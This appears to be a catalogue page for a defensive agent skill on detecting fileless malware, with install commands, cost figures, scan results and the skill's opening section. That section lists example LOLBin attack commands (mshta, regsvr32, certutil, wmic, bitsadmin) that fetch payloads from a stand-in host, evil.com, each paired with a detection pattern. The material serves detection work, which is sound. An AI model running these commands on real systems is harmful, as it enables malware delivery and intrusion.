detecting-fileless-malware-techniques

detecting-fileless-malware-techniques is a skill for Claude Code, Codex from adriannoes/awesome-agentic-ai. It costs 83 tokens per session (3,872 once invoked), scanned A, original, MIT.

A security analysis guide for finding malware that runs in computer memory or abuses trusted Windows tools instead of leaving a normal executable file on disk.

In plain words
What is it for?
Use it to examine Windows logs, endpoint activity, and memory captures, and to build detections for trusted tools being used maliciously.
Why use it?
It helps investigate attacks that ordinary file scans may miss, including malicious PowerShell, WMI, registry data, or scheduled tasks.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to examine Windows logs, endpoint activity, and memory captures, and to build detections for trusted tools being used maliciously.

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Install with agentmods
npx agentmods add skills/adriannoes/awesome-agentic-ai/detecting-fileless-malware-techniques
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add adriannoes/awesome-agentic-ai --skill detecting-fileless-malware-techniques
Clone the repo
git clone --depth 1 https://github.com/adriannoes/awesome-agentic-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for detecting-fileless-malware-techniques

README.md
[![agentmods](https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/detecting-fileless-malware-techniques/github.svg)](https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/detecting-fileless-malware-techniques)
Your own site
<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/detecting-fileless-malware-techniques"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/detecting-fileless-malware-techniques/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for detecting-fileless-malware-techniques

Your own site · 80×15
<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/detecting-fileless-malware-techniques"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/detecting-fileless-malware-techniques.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 83 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,872 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 2 findings, up to critical

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • critical YARA Match · line 416
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
  • high YARA Match · line 330
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00083 $0.03872
Opus 5 $0.00042 $0.01936
Sonnet 5 $0.00017 $0.00774
Haiku 4.5 $0.00008 $0.00387

Measured 7d ago against content hash f249c68737cf, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

detecting-fileless-malware-techniques scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/agent.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

result = subprocess.run(
cursor-claude-codex/skills/anthropic-cybersecurity-skills/skills/detecting-fileless-malware-techniques/SKILL.md · 432 lines

How it starts

The opening of the file, as written. The whole thing — 432 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Detecting Fileless Malware Techniques

When to Use

  • EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
  • Investigating attacks that leave no traditional malware files on disk
  • Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
  • Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
  • Memory forensics reveals malicious code but no corresponding files exist on the filesystem

Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.

Prerequisites

  • Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
  • PowerShell Script Block Logging and Module Logging enabled
  • Volatility 3 for memory forensics of fileless malware artifacts
  • Process Monitor (ProcMon) for real-time system activity monitoring
  • Windows Event Log access with adequate retention policies
  • Autoruns for identifying persistence mechanisms

Workflow

Step 1: Identify LOLBin Usage

Detect abuse of legitimate Windows binaries for malicious purposes:

Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
  Abuse: Execute HTA files with embedded VBScript/JScript
  Example: mshta http://evil.com/payload.hta
  Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  Detect: mshta.exe with URL argument or vbscript: prefix

regsvr32.exe:
  Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
  Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  Detect: regsvr32.exe with /i: URL parameter

certutil.exe:
  Abuse: Download files, decode Base64
  Example: certutil -urlcache -split -f http://evil.com/payload.exe
  Example: certutil -decode encoded.txt payload.exe
  Detect: certutil.exe with -urlcache or -decode arguments

rundll32.exe:
  Abuse: Execute DLL functions, JavaScript
  Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  Detect: rundll32.exe with javascript: argument

wmic.exe:
  Abuse: Execute code via XSL stylesheets
  Example: wmic process get brief /format:"http://evil.com/payload.xsl"
  Detect: wmic.exe with /format: URL parameter

bitsadmin.exe:
  Abuse: Download files via BITS
  Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  Detect: bitsadmin.exe with /transfer or /addfile to external URL

cmstp.exe:
  Abuse: Execute commands via INF file
  Example: cmstp.exe /ni /s payload.inf
  Detect: cmstp.exe execution from non-standard locations

Read the full file on GitHub · 432 lines

Files

What ships with it

3 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 432 lines · 83 tokens per session scan A f249c68737cf

Subscribe to this mod's changes

detecting-fileless-malware-techniques is a skill published in the GitHub repository adriannoes/awesome-agentic-ai (57 stars, last pushed 13d ago), licensed MIT. It adds 83 tokens to every session and 3,872 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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